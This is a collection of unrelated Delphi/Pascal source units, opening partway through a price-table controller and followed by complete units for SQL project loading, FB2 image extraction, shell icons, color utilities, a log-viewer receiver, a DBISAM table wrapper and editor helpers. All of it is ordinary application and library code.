TFuncoes.Excessao(E, 'TTabPrecoController.Filtrar'); end; end; finally FreeAndNil(Lista); end; end; procedure TTabPrecoController.Novo(IdUsuario: Integer); var Negocio: TServerModule2Client; begin dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try FModel.CDSCadastro.Close; Negocio.Novo(cTabelaPreco, IdUsuario); FModel.CDSCadastro.Open; FModel.CDSCadastro.Append; FModel.CDSItens.Close; FModel.CDSItens.Params[0].AsInteger := -1; FModel.CDSItens.Open; FOperacao := opIncluir; dm.Desconectar; except on E: Exception do begin dm.ErroConexao(E.Message); end; end; finally FreeAndNil(Negocio); end; end; procedure TTabPrecoController.ObterPorId(Id: integer); var Negocio: TServerModule2Client; begin dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try FModel.CDSCadastro.Close; Negocio.LocalizarId(cTabelaPreco, Id); FModel.CDSCadastro.Open; dm.Desconectar; finally FreeAndNil(Negocio); end; end; procedure TTabPrecoController.Post; begin if FModel.CDSCadastro.State in [dsEdit, dsInsert] then FModel.CDSCadastro.Post; end; procedure TTabPrecoController.Relatorio(IdUsuario: Integer); var Negocio: TServerModule2Client; begin dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try Negocio.TabPrecoRelatorio(cTabelaPreco, IdUsuario); dm.Desconectar; except on E: Exception do begin dm.ErroConexao(E.Message); end; end; finally FreeAndNil(Negocio); end; end; function TTabPrecoController.Salvar(IdUsuario: Integer): Integer; var Negocio: TServerModule2Client; ConsultaSQL: string; model: TTabelaPrecoVO; modulo: TTabPrecoModuloVO; id: Integer; Marshal : TJSONMarshal; oObjetoJSON : TJSONValue; begin if FModel.CDSCadastroTab_Data.AsDateTime = 0 then raise Exception.Create('Informe a Data!'); if Trim(FModel.CDSCadastroTab_Nome.AsString) = '' then raise Exception.Create('Informe o Nome!'); dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try Post(); model := TTabelaPrecoVO.Create; model.Id := FModel.CDSCadastroTab_Id.AsInteger; model.Data := FModel.CDSCadastroTab_Data.AsDateTime; model.Referencia := FModel.CDSCadastroTab_Referencia.AsString; model.Nome := FModel.CDSCadastroTab_Nome.AsString; model.IdProduto := FModel.CDSCadastroTab_Produto.AsInteger; model.IdStatus := FModel.CDSCadastroTab_Status.AsInteger; model.IdTipo := FModel.CDSCadastroTab_Tipo.AsInteger; model.Ativo := FModel.CDSCadastroTab_Ativo.AsBoolean; model.ValorImplSimples := FModel.CDSCadastroTab_ValorImplSimples.AsCurrency; model.ValorMensalSimples := FModel.CDSCadastroTab_ValorMensalSimples.AsCurrency; model.ValorImplRegNormal := FModel.CDSCadastroTab_ValorImplRegNormal.AsCurrency; model.ValorMensalRegNormal := FModel.CDSCadastroTab_ValorMensalRegNormal.AsCurrency; model.Observacao := FModel.CDSCadastroTab_Observacao.AsString; FModel.CDSItens.First; while not FModel.CDSItens.Eof do begin if FModel.CDSItensTabM_Modulo.AsInteger > 0 then begin modulo := TTabPrecoModuloVO.Create; modulo.Id := FModel.CDSItensTabM_Id.AsInteger; modulo.IdTabPreco := FModel.CDSItensTabM_TabPreco.AsInteger; modulo.IdModulo := FModel.CDSItensTabM_Modulo.AsInteger; model.ItensTabela.Add(modulo); end; FModel.CDSItens.Next; end; Marshal := TJSONMarshal.Create; oObjetoJSON := Marshal.Marshal(model); Result := StrToIntDef(Negocio.TabPrecoSalvar(cTabelaPreco, dm.IdUsuario, oObjetoJSON).ToString(),0); //Salvar(cTabelaPreco, IdUsuario); // FModel.CDSCadastro.ApplyUpdates(0); FOperacao := opNavegar; dm.Desconectar; // FModel.CDSCadastro.Refresh; except on E: Exception do begin dm.ErroConexao(E.Message); end; end; finally FreeAndNil(Negocio); FreeAndNil(Marshal); FreeAndNil(model); end; end; end.
unit uSqlProject; interface uses SysUtils, Classes, uTextData; type TTextDataMethod = procedure(aTextData: THsTextData) of object; TSqlProject = class(TObject) private FProjectFolder: string; FTextDatas:array[TTextDataType] of TTextDatas; procedure SetProjectFolder(const Value: string); function GetFolder(aType: TTextDataType): string; function GetSqlList(aType: TTextDataType): TTextDatas; procedure LoadProject; procedure AddFilesToTextData(aFiles: TStrings; aSqlList: TTextDatas; aType: TTextDataType); function GetModified: Boolean; class procedure AddQuickFind(AFileName, APath: string; AResults: TStrings; ASearchSubFolders: Boolean=False); static; public procedure AfterConstruction; override; procedure BeforeDestruction; override; procedure SaveToDisk; property Modified: Boolean read GetModified; procedure IterateAll(aMethod: TTextDataMethod); function SqlNameExists(aName: string): Boolean; function TextDataByName(aName: string; out aTextData: THsTextData; out aType: TTextDataType): Boolean; property ProjectFolder: string read FProjectFolder write SetProjectFolder; property Folder[aType: TTextDataType]: string read GetFolder; property SqlList[aType: TTextDataType]: TTextDatas read GetSqlList; property Macros: TTextDatas read FTextDatas[dtMacro]; property Includes: TTextDatas read FTextDatas[dtInclude]; property Procs: TTextDatas read FTextDatas[dtProc]; property Funcs: TTextDatas read FTextDatas[dtFunc]; property Views: TTextDatas read FTextDatas[dtView]; end; implementation uses {$IFDEF FPC} LazFileUtils, {$ELSE} uFileUtils, {$ENDIF} Masks; const DataTypeToFolderName : array[TTextDataType] of string = ('','Proc','Include','Macro','Func','View','Trigger'); { TSqlProject } procedure TSqlProject.AfterConstruction; var i: TTextDataType; begin inherited; FTextDatas[dtNone] := nil; for i := Succ(dtNone) to High(TTextDataType) do FTextDatas[i] := TTextDatas.Create; end; procedure TSqlProject.BeforeDestruction; var i: TTextDataType; begin inherited; for i := Succ(dtNone) to High(TTextDataType) do begin FreeAndNil(FTextDatas[i]); end; end; function TSqlProject.GetFolder(aType: TTextDataType): string; begin Result := ProjectFolder + PathDelim + DataTypeToFolderName[aType]; if not DirectoryExistsUTF8(Result) then CreateDirUTF8(Result); end; function TSqlProject.GetModified: Boolean; var dt: TTextDataType; begin Result := False; for dt := Succ(dtNone) to High(TTextDataType) do begin if SqlList[dt].IsModified then begin Result := True; Exit; end; end; end; function TSqlProject.GetSqlList(aType: TTextDataType): TTextDatas; begin Result := FTextDatas[aType]; end; procedure TSqlProject.IterateAll(aMethod: TTextDataMethod); var dt: TTextDataType; List: TTextDatas; i: Integer; begin for dt := Succ(dtNone) to High(TTextDataType) do begin List := SqlList[dt]; for i := 0 to List.Count -1 do begin aMethod(List[i]); end; end; end; class procedure TSqlProject.AddQuickFind(AFileName, APath: string; AResults: TStrings; ASearchSubFolders: Boolean); procedure Iterate(const ABrowsePath:string; const AFolderPrefix: String); var S:TSearchRec; Dirs:TStringList; i:integer; FileName : String; begin Dirs := TStringList.Create; try if FindFirstUTF8(ABrowsePath + PathDelim + '*.*',faAnyFile,s) = 0 then try repeat FileName := ABrowsePath + PathDelim + s.Name; if DirectoryExistsUTF8(FileName) then begin if (Pos(AFolderPrefix,s.name)=0) and (s.Name <> '.') and (s.Name <> '..') then Dirs.Add(FileName); end else begin if MatchesMask(s.Name,aFileName) then begin AResults.Add(FileName); end; end; until (FindNextUTF8(s) <> 0) ; finally FindCloseUTF8(s); end; if ASearchSubfolders then begin for i := 0 to Dirs.Count -1 do Iterate(Dirs[i],AFolderPrefix); end; finally FreeAndNil(Dirs); end; end; begin Iterate(APath, '.' + PathDelim); end; procedure TSqlProject.LoadProject; const SQL_FILE = '*.sql'; var FileList: TStringList; i: TTextDataType; begin FileList := TStringList.Create; try for i := Succ(dtNone) to High(TTextDataType) do begin FileList.Clear; AddQuickFind(SQL_FILE, Folder[i], FileList); SqlList[i].Clear; AddFilesToTextData(FileList, SqlList[i], i); end; finally FileList.Free; end; end; procedure TSqlProject.AddFilesToTextData(aFiles: TStrings; aSqlList: TTextDatas; aType: TTextDataType); var i: Integer; TextData: THsTextData; begin for i := 0 to aFiles.Count - 1 do begin TextData := aSqlList.Add; TextData.SqlType := aType; TextData.LoadFromDisk(aFiles[i]); end; end; procedure TSqlProject.SaveToDisk; var dt: TTextDataType; List: TTextDatas; i: Integer; begin for dt := Succ(dtNone) to High(TTextDataType) do begin List := SqlList[dt]; for i := 0 to List.Count -1 do begin if List[i].IsModified then List[i].SaveToDisk; end; end; end; procedure TSqlProject.SetProjectFolder(const Value: string); begin FProjectFolder := Value; LoadProject; end; function TSqlProject.TextDataByName(aName: string; out aTextData: THsTextData; out aType: TTextDataType): Boolean; var dt: TTextDataType; List: TTextDatas; i: Integer; begin Result := False; for dt := Succ(dtNone) to High(TTextDataType) do begin List := SqlList[dt]; for i := 0 to List.Count -1 do begin Result := SameText(List[i].SqlName, aName); if Result then begin aTextData := List[i]; aType := dt; Exit; end; end; end; end; function TSqlProject.SqlNameExists(aName: string): Boolean; var dt: TTextDataType; List: TTextDatas; i: Integer; begin Result := False; for dt := Succ(dtNone) to High(TTextDataType) do begin List := SqlList[dt]; for i := 0 to List.Count -1 do begin Result := SameText(List[i].SqlName, aName); if Result then Exit; end; end; end; end.
unit extractimages; interface Uses MSXML2_TLB,Classes; Type TCallBackProc=procedure(message:string;percent:Integer) of object; Procedure ExtractImagesToFolder(DOM:IXMLDOMDocument2;Path:WideString;CallBack:TCallBackProc;FilesToClean:TStringList); implementation uses SysUtils,Variants; Procedure ExtractImagesToFolder; Type TStoreArray=Array of byte; Var NodeList,NodeList1:IXMLDOMNodeList; I,I1:Integer; ItemID,ItemContentType,newExt:WideString; ImgAsVar:Variant; TheArr:TStoreArray; F:TFileStream; Begin Dom.setProperty('SelectionLanguage','XPath'); Dom.setProperty('SelectionNamespaces', 'xmlns:fb="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:xlink="http://www.w3.org/1999/xlink"'); NodeList:=Dom.selectNodes('//fb:binary'); if NodeList<>Nil then Begin if @CallBack <> Nil then CallBack('Extracting images...',10); for I:=0 to NodeList.length-1 do Begin ItemID:=NodeList.item[I].attributes.getNamedItem('id').text; ItemContentType:=NodeList.item[I].attributes.getNamedItem('content-type').text; if WideLowerCase(ItemContentType)='image/jpeg' then newExt:='jpg' else if LowerCase(ItemContentType)='image/png' then newExt:='png' else Continue; if @CallBack <> Nil then CallBack(' '+ItemID,15+I*3); newExt:='fb2torbconvtempimage'+IntToStr(I)+'.tmp.'+newExt; NodeList.item[I].attributes.getNamedItem('id').text:=newExt; NodeList1:=Dom.selectNodes('//fb:image/@xlink:href[.=''#'+ItemID+''']'); if NodeList1<>Nil then for I1:=0 to NodeList1.length-1 do NodeList1.item[I1].text:='#'+newExt; NodeList.item[I].Set_dataType('bin.base64'); ImgAsVar:=NodeList.item[I].nodeTypedValue; DynArrayFromVariant(Pointer(TheArr),ImgAsVar,TypeInfo(TStoreArray)); F:=TFileStream.Create(Path+newExt,fmCreate); F.Write(TheArr[0],Length(TheArr)); F.Free; FilesToClean.Add(newExt); end; end; end; end.
unit ShellIcons; // Copyright (c) 1996 Jorge Romero Gomez, Merchise. interface uses Windows, SysUtils, Graphics, ShellAPI; function GetDirectoryLargeIcon : HICON; function GetDirectorySmallIcon : HICON; function GetSystemLargeIcon( const FileName : string ) : HICON; function GetSystemSmallIcon( const FileName : string ) : HICON; function GetShellLargeIcon( const FileName : string ) : HICON; function GetShellSmallIcon( const FileName : string ) : HICON; function GetOpenIcon( const FileName : string ) : HICON; function GetComputerLargeIcon : HICON; function GetComputerSmallIcon : HICON; implementation function GetDirectoryLargeIcon : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( '', 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_LARGEICON ); Result := SHInfo.hIcon; end; function GetDirectorySmallIcon : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( '', 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_SMALLICON ); Result := SHInfo.hIcon; end; function GetSystemLargeIcon( const FileName : string ) : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( pchar(FileName), 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_LARGEICON ); Result := SHInfo.hIcon; end; function GetSystemSmallIcon( const FileName : string ) : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( pchar(FileName), 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_SMALLICON ); Result := SHInfo.hIcon; end; function GetShellLargeIcon( const FileName : string ) : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( pchar(FileName), 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_SHELLICONSIZE ); Result := SHInfo.hIcon; end; function GetShellSmallIcon( const FileName : string ) : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( pchar(FileName), 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_SHELLICONSIZE or SHGFI_SMALLICON ); Result := SHInfo.hIcon; end; function GetOpenIcon( const FileName : string ) : HICON; var SHInfo : TSHFileInfo; begin SHGetFileInfo( pchar(FileName), 0, SHInfo, sizeof(TSHFILEINFO), SHGFI_ICON or SHGFI_OPENICON ); Result := SHInfo.hIcon; end; function GetComputerLargeIcon : HICON; var str : string; L : DWORD; SHInfo : TSHFileInfo; begin SetLength( str, MAX_COMPUTERNAME_LENGTH ); L := MAX_COMPUTERNAME_LENGTH + 1; GetComputerName( pchar(str), L ); SHGetFileInfo( pchar('\\' + str), 0, SHInfo, sizeof(TSHFILEINFO), SHGFI_ICON or SHGFI_LARGEICON ); Result := SHInfo.HIcon; end; function GetComputerSmallIcon : HICON; var str : string; L : DWORD; SHInfo : TSHFileInfo; begin SetLength( str, MAX_COMPUTERNAME_LENGTH ); L := MAX_COMPUTERNAME_LENGTH + 1; GetComputerName( pchar(str), L ); SHGetFileInfo( pchar('\\' + str), 0, SHInfo, sizeof( TSHFILEINFO ), SHGFI_ICON or SHGFI_SMALLICON ); Result := SHInfo.HIcon; end; end.
{====================================================} { } { EldoS Visual Components } { } { Copyright (c) 1998-2003, EldoS Corporation } { Portion copyright (c) 2001, Alexander Hramov } { } {====================================================} {$include elpack2.inc} {$ifdef ELPACK_SINGLECOMP} {$I ElPack.inc} {$else} {$ifdef LINUX} {$I ../ElPack.inc} {$else} {$I ..\ElPack.inc} {$endif} {$endif} unit ElColor; { EldoS Color Managment } interface uses Windows, Graphics, {$ifdef VCL_6_USED} Types, {$endif} ElTools; function ColorToRGB(const Color: TColor): longint; function BrightColor(const Color: TColor; const Percent: byte):TColor; function DarkColor(const Color: TColor; const Percent: byte): TColor; function ColorToGray(const Color: TColor): TColor; function ConvertColorToHTML(Color : TColor) : integer; implementation function ColorToRGB(const Color: TColor): longint; begin if Color < 0 then Result := GetSysColor(Color and $000000FF) else Result := Color; end; function BrightColor(const Color: TColor; const Percent: byte):TColor; var R, G, B: byte; FColor: TColorRef; InOnePercent: single; begin FColor := ColorToRGB(Color); R := GetRValue(FColor); G := GetGValue(FColor); B := GetBValue(FColor); InOnePercent := Percent / 100; Inc(R, Round((255 - R) * InOnePercent)); Inc(G, Round((255 - G) * InOnePercent)); Inc(B, Round((255 - B) * InOnePercent)); Result := RGB(R, G, B); end; function DarkColor(const Color: TColor; const Percent: byte): TColor; var R, G, B: integer; FColor: TColorRef; InOnePercent: single; begin FColor := ColorToRGB(Color); R := GetRValue(FColor); G := GetGValue(FColor); B := GetBValue(FColor); InOnePercent := Percent / 100; Dec(R, Round((255 - R) * InOnePercent)); Dec(G, Round((255 - G) * InOnePercent)); Dec(B, Round((255 - B) * InOnePercent)); Result := RGB(R, G, B); end; function ColorToGray(const Color: TColor): TColor; var R, G, B, M: integer; FColor: TColorRef; begin FColor := ColorToRGB(Color); R := GetRValue(FColor); G := GetGValue(FColor); B := GetBValue(FColor); M := Round(R * 0.30 + G * 0.59 + B * 0.11); Result := RGB(M, M, M); end; function ConvertColorToHTML(Color : TColor) : integer; begin result := SwapInt32(Color shl 8); end; end.
{ Copyright (C) 2013-2019 Tim Sinaeve tim.sinaeve@gmail.com Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. } unit LogViewer.Receivers.FileSystem; { Monitors FileSystem changes for a given path (directory or file). } interface uses System.Classes, Vcl.ExtCtrls, Spring, LogViewer.Interfaces, LogViewer.Receivers.Base; {$REGION 'documentation'} {$ENDREGION} type TFileSystemChannelReceiver = class(TChannelReceiver, IChannelReceiver, IFileSystem ) private FPath : string; protected function CreateSubscriber( ASourceId : UInt32; AThreadId : UInt32; const ASourceName : string ): ISubscriber; override; public constructor Create( AManager : ILogViewerManager; const APath : string; const AName : string ); reintroduce; virtual; end; implementation uses LogViewer.Subscribers.FileSystem; {$REGION 'construction and destruction'} constructor TFileSystemChannelReceiver.Create(AManager: ILogViewerManager; const APath, AName: string); begin inherited Create(AManager, AName); FPath := APath; end; {$ENDREGION} {$REGION 'protected methods'} function TFileSystemChannelReceiver.CreateSubscriber(ASourceId, AThreadId: UInt32; const ASourceName: string): ISubscriber; begin end; {$ENDREGION} end.
unit infoPOSTSOATable; interface uses Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf; type TinfoPOSTSOARecord = record PDatePaid: String[8]; PCheckNumber: String[10]; PtranType: String[1]; PAmount: Currency; PPmtType: String[2]; End; TinfoPOSTSOABuffer = class(TDataBuf) protected function PtrIndex(Index:integer):Pointer;override; public Data: TinfoPOSTSOARecord; function FieldNameToIndex(s:string):integer;override; function FieldType(index:integer):TFieldType;override; end; TEIinfoPOSTSOA = (infoPOSTSOAPrimaryKey); TinfoPOSTSOATable = class( TDBISAMTableAU ) private FDFDatePaid: TStringField; FDFCheckNumber: TStringField; FDFtranType: TStringField; FDFAmount: TCurrencyField; FDFPmtType: TStringField; procedure SetPDatePaid(const Value: String); function GetPDatePaid:String; procedure SetPCheckNumber(const Value: String); function GetPCheckNumber:String; procedure SetPtranType(const Value: String); function GetPtranType:String; procedure SetPAmount(const Value: Currency); function GetPAmount:Currency; procedure SetPPmtType(const Value: String); function GetPPmtType:String; procedure SetEnumIndex(Value: TEIinfoPOSTSOA); function GetEnumIndex: TEIinfoPOSTSOA; protected procedure CreateFields; reintroduce; procedure SetActive(Value: Boolean); override; procedure LoadFieldDefs(AStringList:TStringList);override; procedure LoadIndexDefs(AStringList:TStringList);override; public function GetDataBuffer:TinfoPOSTSOARecord; procedure StoreDataBuffer(ABuffer:TinfoPOSTSOARecord); property DFDatePaid: TStringField read FDFDatePaid; property DFCheckNumber: TStringField read FDFCheckNumber; property DFtranType: TStringField read FDFtranType; property DFAmount: TCurrencyField read FDFAmount; property DFPmtType: TStringField read FDFPmtType; property PDatePaid: String read GetPDatePaid write SetPDatePaid; property PCheckNumber: String read GetPCheckNumber write SetPCheckNumber; property PtranType: String read GetPtranType write SetPtranType; property PAmount: Currency read GetPAmount write SetPAmount; property PPmtType: String read GetPPmtType write SetPPmtType; published property Active write SetActive; property EnumIndex: TEIinfoPOSTSOA read GetEnumIndex write SetEnumIndex; end; { TinfoPOSTSOATable } procedure Register; implementation procedure TinfoPOSTSOATable.CreateFields; begin FDFDatePaid := CreateField( 'DatePaid' ) as TStringField; FDFCheckNumber := CreateField( 'CheckNumber' ) as TStringField; FDFtranType := CreateField( 'tranType' ) as TStringField; FDFAmount := CreateField( 'Amount' ) as TCurrencyField; FDFPmtType := CreateField( 'PmtType' ) as TStringField; end; { TinfoPOSTSOATable.CreateFields } procedure TinfoPOSTSOATable.SetActive(Value: Boolean); begin inherited SetActive(Value); if Active then CreateFields; end; { TinfoPOSTSOATable.SetActive } procedure TinfoPOSTSOATable.SetPDatePaid(const Value: String); begin DFDatePaid.Value := Value; end; function TinfoPOSTSOATable.GetPDatePaid:String; begin result := DFDatePaid.Value; end; procedure TinfoPOSTSOATable.SetPCheckNumber(const Value: String); begin DFCheckNumber.Value := Value; end; function TinfoPOSTSOATable.GetPCheckNumber:String; begin result := DFCheckNumber.Value; end; procedure TinfoPOSTSOATable.SetPtranType(const Value: String); begin DFtranType.Value := Value; end; function TinfoPOSTSOATable.GetPtranType:String; begin result := DFtranType.Value; end; procedure TinfoPOSTSOATable.SetPAmount(const Value: Currency); begin DFAmount.Value := Value; end; function TinfoPOSTSOATable.GetPAmount:Currency; begin result := DFAmount.Value; end; procedure TinfoPOSTSOATable.SetPPmtType(const Value: String); begin DFPmtType.Value := Value; end; function TinfoPOSTSOATable.GetPPmtType:String; begin result := DFPmtType.Value; end; procedure TinfoPOSTSOATable.LoadFieldDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('DatePaid, String, 8, N'); Add('CheckNumber, String, 10, N'); Add('tranType, String, 1, N'); Add('Amount, Currency, 0, N'); Add('PmtType, String, 2, N'); end; end; procedure TinfoPOSTSOATable.LoadIndexDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('PrimaryKey, DatePaid;CheckNumber, Y, Y, N, N'); end; end; procedure TinfoPOSTSOATable.SetEnumIndex(Value: TEIinfoPOSTSOA); begin case Value of infoPOSTSOAPrimaryKey : IndexName := ''; end; end; function TinfoPOSTSOATable.GetDataBuffer:TinfoPOSTSOARecord; var buf: TinfoPOSTSOARecord; begin fillchar(buf, sizeof(buf), 0); buf.PDatePaid := DFDatePaid.Value; buf.PCheckNumber := DFCheckNumber.Value; buf.PtranType := DFtranType.Value; buf.PAmount := DFAmount.Value; buf.PPmtType := DFPmtType.Value; result := buf; end; procedure TinfoPOSTSOATable.StoreDataBuffer(ABuffer:TinfoPOSTSOARecord); begin DFDatePaid.Value := ABuffer.PDatePaid; DFCheckNumber.Value := ABuffer.PCheckNumber; DFtranType.Value := ABuffer.PtranType; DFAmount.Value := ABuffer.PAmount; DFPmtType.Value := ABuffer.PPmtType; end; function TinfoPOSTSOATable.GetEnumIndex: TEIinfoPOSTSOA; var iname : string; begin result := infoPOSTSOAPrimaryKey; iname := uppercase(indexname); if iname = '' then result := infoPOSTSOAPrimaryKey; end; (********************************************) (************ Register Component ************) (********************************************) procedure Register; begin RegisterComponents( 'Info Tables', [ TinfoPOSTSOATable, TinfoPOSTSOABuffer ] ); end; { Register } function TinfoPOSTSOABuffer.FieldNameToIndex(s:string):integer; const flist:array[1..5] of string = ('DATEPAID','CHECKNUMBER','TRANTYPE','AMOUNT','PMTTYPE' ); var x : integer; begin s := uppercase(s); x := 1; while (x <= 5) and (flist[x] <> s) do inc(x); if x <= 5 then result := x else result := 0; end; function TinfoPOSTSOABuffer.FieldType(index:integer):TFieldType; begin result := ftUnknown; case index of 1 : result := ftString; 2 : result := ftString; 3 : result := ftString; 4 : result := ftCurrency; 5 : result := ftString; end; end; function TinfoPOSTSOABuffer.PtrIndex(index:integer):Pointer; begin result := nil; case index of 1 : result := @Data.PDatePaid; 2 : result := @Data.PCheckNumber; 3 : result := @Data.PtranType; 4 : result := @Data.PAmount; 5 : result := @Data.PPmtType; end; end; end.
unit evFacadeUtils; // Модуль: "w:\common\components\gui\Garant\EverestCommon\evFacadeUtils.pas" // Стереотип: "UtilityPack" // Элемент модели: "evFacadeUtils" MUID: (48EEF98B01FF) {$Include w:\common\components\gui\Garant\EverestCommon\evDefine.inc} interface uses l3IntfUses , evCommonTypes , evCustomTextSource , k2CustomReader , evCustomEditorWindow , k2TagGen , evMemo , evdNativeWriter , nevBase ; procedure evInsertFile(aTextSource: TevCustomTextSource; aReader: Tk2CustomReader; const aCursor: TnevCursor); overload; procedure evInsertFile(anEditor: TevCustomEditorWindow; aReader: Tk2CustomReader); overload; procedure evFreeGenerator(var aGen: TevGenerator); procedure evReadDataEX(aTextSource: TevCustomTextSource; G: Tk2TagGenerator); procedure evInsertText2Memo(aMemo: TevMemo; const aRange: TnevIRange; const aText: AnsiString); procedure evSetPlainTextFlag(aMemo: TevMemo; aValue: Boolean); function evGetNewTextGenerator(aTextSource: TevCustomTextSource): TevGenerator; overload; {* Возвращает генератор для вствки текста. } function evGetNewTextGenerator(anEditor: TevCustomEditorWindow): TevGenerator; overload; {* Возвращает генератор для вствки текста, с учетом текущего курсора. } procedure evStoreTreeDataObject(const aWriter: TevdNativeWriter; const aTree: InevSimpleTree; aLevelTag: Integer; aFlag: Word); procedure evSetExcludeWords(anEditor: TevCustomEditorWindow; aClear: Boolean); {* Устанавливает/сбрасывает флаг ev_slFoundWords (в зависимости от параметра aClear) в ExcludeSuper редактора. } function evNeedExcludeWords(anEditor: TevCustomEditorWindow): Boolean; {* Проверяет установлен ли флаг ev_slFoundWords в ExcludeSuper редактора. } implementation uses l3ImplUses , l3String , evCustomEditor , evTreeDataObject , evTreeStorable , nevTools , evdTypes , evMsgCode //#UC START# *48EEF98B01FFimpl_uses* //#UC END# *48EEF98B01FFimpl_uses* ; procedure evInsertFile(aTextSource: TevCustomTextSource; aReader: Tk2CustomReader; const aCursor: TnevCursor); //#UC START# *48EEF9F20194_48EEF98B01FF_var* //#UC END# *48EEF9F20194_48EEF98B01FF_var* begin //#UC START# *48EEF9F20194_48EEF98B01FF_impl* aTextSource.DocumentContainer.TagWriter.WriteTagEx(nil, aReader, aCursor); //#UC END# *48EEF9F20194_48EEF98B01FF_impl* end;//evInsertFile procedure evInsertFile(anEditor: TevCustomEditorWindow; aReader: Tk2CustomReader); //#UC START# *48EEFA2400D7_48EEF98B01FF_var* //#UC END# *48EEFA2400D7_48EEF98B01FF_var* begin //#UC START# *48EEFA2400D7_48EEF98B01FF_impl* with anEditor do TextSource.DocumentContainer.TagWriter.WriteTagEx(anEditor.View, aReader, Selection.Cursor); //#UC END# *48EEFA2400D7_48EEF98B01FF_impl* end;//evInsertFile procedure evFreeGenerator(var aGen: TevGenerator); //#UC START# *48EEFB4F0184_48EEF98B01FF_var* //#UC END# *48EEFB4F0184_48EEF98B01FF_var* begin //#UC START# *48EEFB4F0184_48EEF98B01FF_impl* aGen := nil; //#UC END# *48EEFB4F0184_48EEF98B01FF_impl* end;//evFreeGenerator procedure evReadDataEX(aTextSource: TevCustomTextSource; G: Tk2TagGenerator); //#UC START# *48EEFCDD03A9_48EEF98B01FF_var* //#UC END# *48EEFCDD03A9_48EEF98B01FF_var* begin //#UC START# *48EEFCDD03A9_48EEF98B01FF_impl* aTextSource.DocumentContainer.TagReader.ReadTagEx(G); //#UC END# *48EEFCDD03A9_48EEF98B01FF_impl* end;//evReadDataEX procedure evInsertText2Memo(aMemo: TevMemo; const aRange: TnevIRange; const aText: AnsiString); //#UC START# *48EEFD9903E1_48EEF98B01FF_var* //#UC END# *48EEFD9903E1_48EEF98B01FF_var* begin //#UC START# *48EEFD9903E1_48EEF98B01FF_impl* // удаляем выделенный блок aRange.Modify.Delete(aMemo.View, aMemo.StartOp(ev_msgDeletePara)); // вставляем текст aMemo.InsertBuf(l3PCharLen(aText)); //#UC END# *48EEFD9903E1_48EEF98B01FF_impl* end;//evInsertText2Memo procedure evSetPlainTextFlag(aMemo: TevMemo; aValue: Boolean); //#UC START# *48EEFDA30103_48EEF98B01FF_var* //#UC END# *48EEFDA30103_48EEF98B01FF_var* begin //#UC START# *48EEFDA30103_48EEF98B01FF_impl* aMemo.PlainText := aValue; //#UC END# *48EEFDA30103_48EEF98B01FF_impl* end;//evSetPlainTextFlag function evGetNewTextGenerator(aTextSource: TevCustomTextSource): TevGenerator; {* Возвращает генератор для вствки текста. } //#UC START# *48EF2BA000E0_48EEF98B01FF_var* //#UC END# *48EF2BA000E0_48EEF98B01FF_var* begin //#UC START# *48EF2BA000E0_48EEF98B01FF_impl* Result := aTextSource.GetGenerator(nil, nil); //#UC END# *48EF2BA000E0_48EEF98B01FF_impl* end;//evGetNewTextGenerator function evGetNewTextGenerator(anEditor: TevCustomEditorWindow): TevGenerator; {* Возвращает генератор для вствки текста, с учетом текущего курсора. } //#UC START# *48EF2BC503A1_48EEF98B01FF_var* //#UC END# *48EF2BC503A1_48EEF98B01FF_var* begin //#UC START# *48EF2BC503A1_48EEF98B01FF_impl* Result := anEditor.TextSource.GetGenerator(anEditor.View, anEditor.Selection.Cursor); //#UC END# *48EF2BC503A1_48EEF98B01FF_impl* end;//evGetNewTextGenerator procedure evStoreTreeDataObject(const aWriter: TevdNativeWriter; const aTree: InevSimpleTree; aLevelTag: Integer; aFlag: Word); //#UC START# *492E544E0315_48EEF98B01FF_var* //#UC END# *492E544E0315_48EEF98B01FF_var* begin //#UC START# *492E544E0315_48EEF98B01FF_impl* (TevTreeDataObject.MakeStorable(TevTreeStorableData_C(aTree, aLevelTag, aFlag))).Store(nil, aWriter); //#UC END# *492E544E0315_48EEF98B01FF_impl* end;//evStoreTreeDataObject procedure evSetExcludeWords(anEditor: TevCustomEditorWindow; aClear: Boolean); {* Устанавливает/сбрасывает флаг ev_slFoundWords (в зависимости от параметра aClear) в ExcludeSuper редактора. } //#UC START# *4BB3202300B5_48EEF98B01FF_var* //#UC END# *4BB3202300B5_48EEF98B01FF_var* begin //#UC START# *4BB3202300B5_48EEF98B01FF_impl* with anEditor do if aClear then ExcludeSuper := ExcludeSuper - [ev_slFoundWords] else ExcludeSuper := ExcludeSuper + [ev_slFoundWords] //#UC END# *4BB3202300B5_48EEF98B01FF_impl* end;//evSetExcludeWords function evNeedExcludeWords(anEditor: TevCustomEditorWindow): Boolean; {* Проверяет установлен ли флаг ev_slFoundWords в ExcludeSuper редактора. } //#UC START# *4BB320970039_48EEF98B01FF_var* //#UC END# *4BB320970039_48EEF98B01FF_var* begin //#UC START# *4BB320970039_48EEF98B01FF_impl* with anEditor do Result := not (ev_slFoundWords in ExcludeSuper); //#UC END# *4BB320970039_48EEF98B01FF_impl* end;//evNeedExcludeWords end.
